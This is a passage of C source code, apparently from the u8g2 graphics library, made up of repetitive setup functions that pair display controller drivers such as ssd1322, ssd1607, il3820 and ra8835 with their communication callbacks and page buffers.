*/ /* ssd1320 1 */ void u8g2_Setup_ssd1320_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 2 */ void u8g2_Setup_ssd1320_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 f */ void u8g2_Setup_ssd1320_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 */ /* ssd1320 1 */ void u8g2_Setup_ssd1320_i2c_160x80_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 2 */ void u8g2_Setup_ssd1320_i2c_160x80_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1320 f */ void u8g2_Setup_ssd1320_i2c_160x80_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1320_160x80, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_20_10_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 */ /* ssd1322 1 */ void u8g2_Setup_ssd1322_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 2 */ void u8g2_Setup_ssd1322_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 f */ void u8g2_Setup_ssd1322_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_240x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 */ /* ssd1322 1 */ void u8g2_Setup_ssd1322_nhd_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 2 */ void u8g2_Setup_ssd1322_nhd_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 f */ void u8g2_Setup_ssd1322_nhd_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_256x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 */ /* ssd1322 1 */ void u8g2_Setup_ssd1322_nhd_128x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 2 */ void u8g2_Setup_ssd1322_nhd_128x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1322 f */ void u8g2_Setup_ssd1322_nhd_128x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1322_nhd_128x64, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_16_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 */ /* ssd1362 1 */ void u8g2_Setup_ssd1362_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 2 */ void u8g2_Setup_ssd1362_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 f */ void u8g2_Setup_ssd1362_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 */ /* ssd1362 1 */ void u8g2_Setup_ssd1362_i2c_256x64_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 2 */ void u8g2_Setup_ssd1362_i2c_256x64_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 f */ void u8g2_Setup_ssd1362_i2c_256x64_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_256x64, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_8_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 */ /* ssd1362 1 */ void u8g2_Setup_ssd1362_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_26_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 2 */ void u8g2_Setup_ssd1362_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_26_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 f */ void u8g2_Setup_ssd1362_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_001, byte_cb, gpio_and_delay_cb); buf = u8g2_m_26_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 */ /* ssd1362 1 */ void u8g2_Setup_ssd1362_i2c_206x36_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_26_5_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 2 */ void u8g2_Setup_ssd1362_i2c_206x36_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_26_5_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1362 f */ void u8g2_Setup_ssd1362_i2c_206x36_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1362_206x36, u8x8_cad_ssd13xx_fast_i2c, byte_cb, gpio_and_delay_cb); buf = u8g2_m_26_5_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1606 */ /* ssd1606 1 */ void u8g2_Setup_ssd1606_172x72_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1606_172x72, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_9_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1606 2 */ void u8g2_Setup_ssd1606_172x72_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1606_172x72, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_9_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1606 f */ void u8g2_Setup_ssd1606_172x72_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1606_172x72, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_22_9_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1607 */ /* ssd1607 1 */ void u8g2_Setup_ssd1607_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1607_gd_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1607_ws_200x200_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1607 2 */ void u8g2_Setup_ssd1607_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1607_gd_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1607_ws_200x200_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* ssd1607 f */ void u8g2_Setup_ssd1607_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1607_gd_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_gd_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_ssd1607_ws_200x200_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ssd1607_ws_200x200, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_25_25_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* il3820 */ /* il3820 1 */ void u8g2_Setup_il3820_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_il3820_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_37_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_il3820_v2_296x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_il3820_v2_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_37_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* il3820 2 */ void u8g2_Setup_il3820_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_il3820_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_37_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_il3820_v2_296x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_il3820_v2_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_37_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* il3820 f */ void u8g2_Setup_il3820_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_il3820_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_37_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } void u8g2_Setup_il3820_v2_296x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_il3820_v2_296x128, u8x8_cad_011, byte_cb, gpio_and_delay_cb); buf = u8g2_m_37_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_vertical_top_lsb, rotation); } /* sed1330 */ /* sed1330 1 */ void u8g2_Setup_sed1330_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 2 */ void u8g2_Setup_sed1330_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 f */ void u8g2_Setup_sed1330_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 */ /* sed1330 1 */ void u8g2_Setup_sed1330_256x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_256x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 2 */ void u8g2_Setup_sed1330_256x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_256x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* sed1330 f */ void u8g2_Setup_sed1330_256x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_sed1330_256x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_32_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ra8835 */ /* ra8835 1 */ void u8g2_Setup_ra8835_nhd_240x128_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ra8835 2 */ void u8g2_Setup_ra8835_nhd_240x128_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_2(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ra8835 f */ void u8g2_Setup_ra8835_nhd_240x128_f(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_nhd_240x128, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_30_16_f(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ra8835 */ /* ra8835 1 */ void u8g2_Setup_ra8835_320x240_1(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; u8g2_SetupDisplay(u8g2, u8x8_d_ra8835_320x240, u8x8_cad_100, byte_cb, gpio_and_delay_cb); buf = u8g2_m_40_30_1(&tile_buf_height); u8g2_SetupBuffer(u8g2, buf, tile_buf_height, u8g2_ll_hvline_horizontal_right_lsb, rotation); } /* ra8835 2 */ void u8g2_Setup_ra8835_320x240_2(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb) { uint8_t tile_buf_height; uint8_t *buf; 